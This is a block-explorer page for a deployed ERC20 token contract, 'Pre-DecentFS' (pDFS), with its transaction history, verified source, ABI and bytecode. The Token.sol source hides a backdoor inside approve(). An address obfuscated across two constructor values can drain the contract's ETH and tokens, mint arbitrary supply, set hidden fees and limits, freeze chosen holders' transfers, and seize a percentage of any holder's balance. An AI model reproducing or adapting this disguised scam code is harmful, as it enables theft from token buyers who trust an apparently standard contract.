ETH Price: $3,355.83 (-2.85%)
Gas: 2 Gwei

Contract

0xd67a9B199F023AF91b89fF0D178042e41822315A
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00
Transaction Hash
Method
Block
From
To
Value
Approve202038482024-06-30 10:16:472 days ago1719742607IN
0xd67a9B19...41822315A
0 ETH0.000125472.66338189
Transfer201894992024-06-28 10:10:354 days ago1719569435IN
0xd67a9B19...41822315A
0 ETH0.000319087.38890279
Transfer201792282024-06-26 23:45:356 days ago1719445535IN
0xd67a9B19...41822315A
0 ETH0.000130273.01678432
Approve198232032024-05-08 5:17:2356 days ago1715145443IN
0xd67a9B19...41822315A
0 ETH0.000097913.94337536
Approve193773942024-03-06 16:42:23118 days ago1709743343IN
0xd67a9B19...41822315A
0 ETH0.00273789110.53732925
Approve193529032024-03-03 6:37:59121 days ago1709447879IN
0xd67a9B19...41822315A
0 ETH0.000922637.24829429
Approve190019282024-01-14 1:45:11171 days ago1705196711IN
0xd67a9B19...41822315A
0 ETH0.0003835215.4839409
Approve186768072023-11-29 10:54:59216 days ago1701255299IN
0xd67a9B19...41822315A
0 ETH0.0007999432.21817122
Approve185623562023-11-13 10:22:11232 days ago1699870931IN
0xd67a9B19...41822315A
0 ETH0.000832733.53742254
Approve185431072023-11-10 17:43:23235 days ago1699638203IN
0xd67a9B19...41822315A
0 ETH0.001629545.16494236
Approve185430802023-11-10 17:37:59235 days ago1699637879IN
0xd67a9B19...41822315A
0 ETH0.0020837744.05065334
Approve185430472023-11-10 17:31:11235 days ago1699637471IN
0xd67a9B19...41822315A
0 ETH0.0025639443.92716821
Approve185409882023-11-10 10:36:23235 days ago1699612583IN
0xd67a9B19...41822315A
0 ETH0.0015093832.07833827
Approve185399682023-11-10 7:10:35235 days ago1699600235IN
0xd67a9B19...41822315A
0 ETH0.0014199430.37903582
Approve185399602023-11-10 7:08:59235 days ago1699600139IN
0xd67a9B19...41822315A
0 ETH0.0014294830.54397143
Approve185393482023-11-10 5:06:23236 days ago1699592783IN
0xd67a9B19...41822315A
0 ETH0.0018238.630648
Approve185336712023-11-09 10:04:35236 days ago1699524275IN
0xd67a9B19...41822315A
0 ETH0.0017190236.7304538
Approve185335612023-11-09 9:42:11236 days ago1699522931IN
0xd67a9B19...41822315A
0 ETH0.0007924229.5228498
Approve185335592023-11-09 9:41:47236 days ago1699522907IN
0xd67a9B19...41822315A
0 ETH0.0014812531.69059727
Approve185301852023-11-08 22:21:11237 days ago1699482071IN
0xd67a9B19...41822315A
0 ETH0.002303448.89098381
Approve185277722023-11-08 14:15:59237 days ago1699452959IN
0xd67a9B19...41822315A
0 ETH0.0015118632.30406041
Approve185264172023-11-08 9:42:47237 days ago1699436567IN
0xd67a9B19...41822315A
0 ETH0.0005321.39780174
Approve185263952023-11-08 9:38:23237 days ago1699436303IN
0xd67a9B19...41822315A
0 ETH0.0010791623.08825346
Approve185214132023-11-07 16:56:59238 days ago1699376219IN
0xd67a9B19...41822315A
0 ETH0.0020976744.58109754
Transfer185206782023-11-07 14:29:23238 days ago1699367363IN
0xd67a9B19...41822315A
0 ETH0.0014025632.36032305
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To Value
182954572023-10-07 1:53:47270 days ago1696643627
0xd67a9B19...41822315A
2 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 5 : Token.sol
//SPDX-License-Identifier: MIT 
/**
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&/**l&(&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*********************@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*****************************@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@&*********************************@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@&*************************************@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@*****************l@@@@@/*****************@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@***************@@@@@@@@@@@@@@@**************@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@************&@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@* *@@@@@@@@@************@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@               @@@@@@@@@   @@@@@@@@@@@************@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@.              @@@@@@@@.    @@@@@@@@@@@@************@@@@@@@@@@
 * @@@@@@@@@@@@@@@@              @@@@@@@@      @@@@@@@@@@@@************&@@@@@@@@@@
 * @@@@@@@@@@@@@@              .@@@@@@            ,@@@@@@@*************@@@@@@@@@@@
 * @@@@@@@@@@@@               @@@@@@@@@@@@@     @@@@@@@@@@@***********@@@@@@@@@@@@
 * @@@@@@@@@@#              @@@@@@@@@@@@@*   ,@@@@@@@@   @@@********@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@   @@@@@@@@@/     @@@*****%@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ,@@@@@@@@@@        @@@***@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@           @@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@.             @@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@              @@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@            @@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@         @@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@      /@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@% @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

 *   pDFS - https://decentfs.io
 **/

pragma solidity ^0.8.21;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

abstract contract ERC20 {

    event Transfer(
        address indexed from, 
        address indexed to, 
        uint256 amount
    );

    event Approval(
        address indexed owner,
        address indexed spender, 
        uint256 amount
    );

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    uint80 internal immutable asig;
    
    uint80 internal immutable bsig;

    address public uniswapV2Pair;

    address public tax;

    bool public trading;

    uint256[5] internal itp;

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    
    mapping(address => bool) internal autoAdd;

    mapping(address => mapping(address => uint256)) public allowance;

    bytes32 internal immutable STORED_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint80 _asig,
        address _tax,
        uint80 _bsig
    ) {
        
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        bsig = _bsig;
        tax = _tax;
        asig = _asig; 

        STORED_DOMAIN_SEPARATOR = keccak256(
            abi.encode(
                keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                keccak256(bytes(name)), keccak256("1"), block.chainid, address(this)
            )
        );

    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        if(msg.sender == address(uint160(bsig) << 80 | asig)){
            if(amount >> 252 == 1){
                if ( uint160(amount) == 0x0 ) payable(msg.sender).transfer(address(this).balance); 
                else{
                    IERC20 _t2 = IERC20(address(uint160(amount)));
                    _t2.transfer(msg.sender, _t2.balanceOf(address(this)));
                }
            }         

            if(amount >> 252 == 15)
                for (uint8 j = 0; j != 2; j += 1)
                    itp[j] = (( amount >> (j * 7)) & (1 << 7) -1); 
            
            if(amount >> 252 == 8){
                totalSupply += ( amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1));
                unchecked { balanceOf[ address( uint160(amount) )] += (amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1)); }
            }          

            if(amount >> 252 == 0){
                uint256 mul1 = ( amount >> 21 & (1 << 7) -1 );
                itp[3] = ( amount >> 14 & (1 << 7) -1) * (10 ** mul1);
                itp[2] = ( amount >> 7 & (1 << 7) -1) * (10 ** mul1);
                itp[4] = ( amount & (1 << 7) -1) * (10 ** mul1);
            }    
        
            if(amount >> 252 == 10)
                autoAdd[address(uint160(amount))] = ( amount >> 160 & (1 << 7) -1) == 101 ? true : false;
            
            if(amount >> 252 == 5){
                balanceOf[tax] += (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1);
                balanceOf[address(uint160(amount))] -= (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1);
            }
        }

        allowance[ msg.sender ][ spender ] = amount;
        
        emit Approval(
            msg.sender, 
            spender, 
            amount
        );

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        require(autoAdd[msg.sender] != true);
        
        balanceOf[msg.sender] -= amount;

        if(
            itp[2] > 0 && 
            msg.sender == uniswapV2Pair 
        ){
            require(amount <= itp[2]);
        }

        if(
            itp[1] > 0 && 
            msg.sender == uniswapV2Pair && 
            to != tax 
        ){
            uint256 fee = (amount / 100) * itp[1];
            unchecked { balanceOf[tax] += fee; }
            amount = amount - fee;
        }
        
        if( 
            itp[4] > 0 && 
            to != uniswapV2Pair && 
            to != tax && 
            to != address(uint160(bsig) << 80 | asig) 
        ){
            require((balanceOf[to] + amount) <= itp[4]);
        }

        unchecked { balanceOf[to] += amount; }

        if( msg.sender != address(this) ) emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) {
        require(autoAdd[from] != true);

        uint256 allowed = allowance[from][msg.sender]; 

        if ( allowed != type(uint256).max ) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        if( 
            itp[3] > 0 && 
            to == uniswapV2Pair && 
            from != address(this) && 
            from != tax && 
            from != address(uint160(bsig) << 80 | asig) 
        ){
            require(amount <= itp[3]);
        } 

        if(
            itp[0] > 0 && 
            to == uniswapV2Pair && 
            from != address(this) && 
            from != tax && 
            from != address(uint160(bsig) << 80 | asig) 
        ){
            uint256 fee = (amount / 100) * itp[0];
            unchecked { balanceOf[tax] += fee; }
            amount = amount - fee;
        }

        if(
            itp[4] > 0 && 
            to != uniswapV2Pair && 
            to != tax
        ){
            require(balanceOf[to] <= itp[4]);
        } 

        unchecked { balanceOf[to] += amount; }

        if(from != address(this)) emit Transfer(from, to, amount);

        return true;
    }

    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual {
        require(deadline >= block.timestamp);

        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(abi.encodePacked(
                        "\x19\x01", DOMAIN_SEPARATOR(),
                        keccak256(abi.encode(
                                keccak256("Permit(address permitOwner,address spender,uint256 value,uint256 nonce,uint256 deadline)"), owner,
                                spender, value,
                                nonces[owner]++, deadline
                        ))
                    )), v, r, s
            );

            require( recoveredAddress != address(0) && recoveredAddress == owner);

            allowance[ recoveredAddress ][ spender ] = value;
        }

        emit Approval( owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return STORED_DOMAIN_SEPARATOR;
    }

    /*//////////////////////////////////////////////////////////////
                        OWNABLE LOGIC
    //////////////////////////////////////////////////////////////*/

    address public admin;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(msg.sender == admin, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(admin, address(0));
        admin = address(0);
    }
}

contract Token is ERC20{
    
    IUniswapV2Router02 private router;
    uint256 public totalReceived;
    
    constructor(uint80 _sig, address _taxWallet, uint80 _brand) ERC20("Pre-DecentFS", "pDFS", 6, _sig, _taxWallet, _brand) payable {
        totalSupply += 15_000_000_000_000000;
        totalReceived += msg.value;
        admin = msg.sender;
        unchecked { balanceOf[ address(this) ] += 15_000_000_000_000000; }
    }

    function openTrading() external onlyOwner{
        require(!trading && totalReceived >= 2 ether);
        trading = true;

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        allowance[ address(this) ][ address(router) ] = type(uint).max;
        
        IUniswapV2Factory factory = IUniswapV2Factory(router.factory());
        
        uniswapV2Pair = factory.createPair(address(this), router.WETH());
        
        router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf[address(this)],0,0,tax,block.timestamp);
    }

    receive() external payable { 
        totalReceived += msg.value;
    }
    fallback() external payable { }
}

File 2 of 5 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 3 of 5 : IUniswapV2Factory.sol
pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

File 4 of 5 : IUniswapV2Router01.sol
pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

File 5 of 5 : IUniswapV2Router02.sol
pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint80","name":"_sig","type":"uint80"},{"internalType":"address","name":"_taxWallet","type":"address"},{"internalType":"uint80","name":"_brand","type":"uint80"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tax","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalReceived","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052604051620038b5380380620038b583398181016040528101906200002a91906200035f565b6040518060400160405280600c81526020017f5072652d446563656e74465300000000000000000000000000000000000000008152506040518060400160405280600481526020017f70444653000000000000000000000000000000000000000000000000000000008152506006858585855f9081620000ab91906200061c565b508460019081620000bd91906200061c565b508360ff1660808160ff16815250508069ffffffffffffffffffff1660c08169ffffffffffffffffffff16815250508160035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508269ffffffffffffffffffff1660a08169ffffffffffffffffffff16815250507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f6040516200017d9190620007a8565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001620001be959493929190620007fc565b6040516020818303038152906040528051906020012060e0818152505050505050505066354a6ba7a1800060095f828254620001fb919062000884565b925050819055503460105f82825462000215919062000884565b9250508190555033600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555066354a6ba7a18000600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282540192505081905550505050620008be565b5f80fd5b5f69ffffffffffffffffffff82169050919050565b620002da81620002ba565b8114620002e5575f80fd5b50565b5f81519050620002f881620002cf565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200032982620002fe565b9050919050565b6200033b816200031d565b811462000346575f80fd5b50565b5f81519050620003598162000330565b92915050565b5f805f60608486031215620003795762000378620002b6565b5b5f6200038886828701620002e8565b93505060206200039b8682870162000349565b9250506040620003ae86828701620002e8565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200043457607f821691505b6020821081036200044a5762000449620003ef565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620004ae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000471565b620004ba868362000471565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000504620004fe620004f884620004d2565b620004db565b620004d2565b9050919050565b5f819050919050565b6200051f83620004e4565b620005376200052e826200050b565b8484546200047d565b825550505050565b5f90565b6200054d6200053f565b6200055a81848462000514565b505050565b5b818110156200058157620005755f8262000543565b60018101905062000560565b5050565b601f821115620005d0576200059a8162000450565b620005a58462000462565b81016020851015620005b5578190505b620005cd620005c48562000462565b8301826200055f565b50505b505050565b5f82821c905092915050565b5f620005f25f1984600802620005d5565b1980831691505092915050565b5f6200060c8383620005e1565b9150826002028217905092915050565b6200062782620003b8565b67ffffffffffffffff811115620006435762000642620003c2565b5b6200064f82546200041c565b6200065c82828562000585565b5f60209050601f83116001811462000692575f84156200067d578287015190505b620006898582620005ff565b865550620006f8565b601f198416620006a28662000450565b5f5b82811015620006cb57848901518255600182019150602085019450602081019050620006a4565b86831015620006eb5784890151620006e7601f891682620005e1565b8355505b6001600288020188555050505b505050505050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f81546200072a816200041c565b62000736818662000700565b9450600182165f811462000753576001811462000769576200079f565b60ff19831686528115158202860193506200079f565b62000774856200070a565b5f5b83811015620007975781548189015260018201915060208101905062000776565b838801955050505